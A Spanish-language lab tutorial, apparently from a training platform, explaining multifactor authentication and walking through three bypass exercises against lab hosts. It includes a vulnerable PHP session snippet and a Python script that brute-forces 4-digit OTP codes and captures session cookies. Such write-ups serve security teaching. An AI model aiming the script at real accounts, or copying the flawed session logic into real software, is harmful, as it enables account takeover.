Introducción a la Autenticación Multifactor

La Autenticación Multifactor (MFA) es un componente crítico en la seguridad de aplicaciones modernas. Su principio fundamental es añadir capas de verificación más allá de la contraseña. Estas capas se basan en diferentes categorías: algo que el usuario conoce (como una contraseña), algo que posee (como un dispositivo móvil), y algo que el usuario es (como una característica biométrica). El empleo de múltiples factores aumenta significativamente la dificultad para que actores maliciosos comprometan una cuenta.

Factores de Autenticación y Tipos de 2FA

Los factores de autenticación se clasifican en:

• Algo que sabes: Contraseñas, PINs.
• Algo que tienes: Un token de seguridad, un teléfono con una app de autenticación.
• Algo que eres: Datos biométricos como huellas dactilares o reconocimiento facial.

La Autenticación de Dos Factores (2FA) es un subconjunto de MFA. Los métodos comunes de 2FA incluyen:

• Contraseñas Únicas Basadas en Tiempo (TOTP): Generadas por aplicaciones como Google Authenticator.
• Notificaciones Push: Solicitudes de inicio de sesión enviadas directamente a un dispositivo confibale.
• Contraseñas por SMS: Códigos de verificación enviados vía mensaje de texto.

Las organizaciones pueden implementar acceso condicional para ajustar los requisitos de MFA basándose en el contexto, como la ubicación geográfica, el horario de acceso o el dispositivo utilizado.

Vulnerabilidades Comunes en Implementaciones MFA

A pesar de su efectividad, las implementaciones de MFA pueden contener fallos:

• Algoritmos débiles de OTP: Si la generación de contraseñas únicas no utiliza semillas aleatorias suficientemente fuertes, pueden volverse predecibles.
• Filtración de tokens: Las respuestas HTTP de la aplicación pueden exponer accidentalmente los códigos OTP o tokens de sesión.
• Falta de límites de tasa: La ausencia de restricciones en los intentos de verificación permite ataques de fuerza bruta contra los códigos OTP.
• Uso de herramientas intermediarias: Frameworks como Evilginx pueden actuar como un proxy man-in-the-middle para capturar credenciales y sesiones, eludiendo por completo el MFA.

Ejercicios Prácticos de Explotación

Escenario 1: Filtración de OTP en Respuestas XHR

Una aplicación vulnerable puede devolver el código OTP dentro de la respuesta de una solicitud XHR, permitiendo al atacante interceptarlo y usarlo.

Proceso de explotación:

1. Navegar a la página de la aplicación vulnerable (ej., http://mfa.thm/labs/first).
2. Acceder al panel de desarrolladores del navegador (F12) y monitorear la pestaña de Red.
3. Utilizar las credenciales proporcionadas (thm@mail.thm:test123) para iniciar sesión.
4. En la página de verificación MFA, observar las solicitudes XHR. Se descubrirá una petición al endpoint /token.
5. Inspeccionar la respuesta de esa solicitud. El valor del parámetro token en la respuesta es el OTP requerido.
6. Introducir este OTP en el formulario de verificación para obtener acceso al panel y la bandera.

Escenario 2: Falta de Control de Acceso en la Sesión

Ciertas aplicaciones gestionan incorrectamente la variable de sesión que indica la verificación MFA completa, permitiendo el acceso directo al panel sin completar el segundo factor.

Proceso de explotación:

1. Acceder a la aplicación en http://mfa.thm/labs/second/.
2. Iniciar sesión con las credenciales válidas.
3. Ser redirigido a la página de solicitud de OTP.
4. En lugar de introducir un código, intentar acceder directamente a la URL del panel (http://mfa.thm/labs/second/dashboard).
5. Si la aplicación no verifica adecuadamente el estado de la sesión para MFA, se mostrará el panel y la bandera.

El código vulnerable en el backend podría verse similar a esto, donde se establece una sesión de autenticación demasiado pronto:

function authenticate($email, $password){
    // ... lógica de verificación de base de datos ...
    return $authenticated;
}

if (authenticate($_POST['email'], $_POST['password'])) {
    $_SESSION['authenticated'] = true; // Error: se establece antes de MFA
    $_SESSION['email'] = $_POST['email'];
    header('Location: /mfa');
}

La solución es no establecer la sesión como completamente autenticada hasta después de pasar el MFA.

Escenario 3: Fuerza Bruta contra OTP con Límites de Intentos

Cuando una aplicación revierte el flujo de inicio de sesión tras un fallo en el MFA, se requiere un enfoque automatizado para reautenticarse y seguir probando códigos OTP.

Ejemplo de script automatizado (Python):

import requests

class MFABypasser:
    def __init__(self, base_url, user_creds):
        self.base_url = base_url.rstrip('/')
        self.user_creds = user_creds
        self.session = requests.Session()
        self.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}

    def perform_login(self):
        resp = self.session.post(f"{self.base_url}/login", data=self.user_creds, headers=self.headers)
        return "token_input" in resp.text

    def submit_code(self, code):
        payload = {'code1': code[0], 'code2': code[1], 'code3': code[2], 'code4': code[3]}
        return self.session.post(f"{self.base_url}/verify", data=payload, headers=self.headers, allow_redirects=False)

    def run_attack(self, code_range):
        for code in code_range:
            if not self.perform_login():
                continue
            response = self.submit_code(code)
            if response.status_code == 302 and '/dashboard' in response.headers.get('Location', ''):
                return {'code': code, 'cookies': self.session.cookies.get_dict()}
        return None

# Uso
target = "http://mfa.thm/labs/third"
creds = {'user': 'thm@mail.thm', 'pass': 'test123'}
bypasser = MFABypasser(target, creds)
result = bypasser.run_attack([str(i).zfill(4) for i in range(1000)])

if result:
    print(f"OTP válido encontrado: {result['code']}")
    print(f"Cookie de sesión: {result['cookies']['PHPSESSID']}")

Este script automatiza el proceso de inicio de sesión y reintento de OTP para circunvenir la restricción de deslogueo automático.

Conclusión

Comprender los principios de MFA y sus posibles debilidades en la implementación es esencial tanto para desarrolladores como para profesionales de la seguridad. Mientras que MFA fortalece drásticamente la seguridad, fallos como la falta de límites de tasa, una gestión incorrecta de sesiones o la filtración de códigos pueden comprometer por completo su eficacia. La correcta aplicación de estas medidas requiere un diseño cuidadoso y auditorías de seguridad constantes.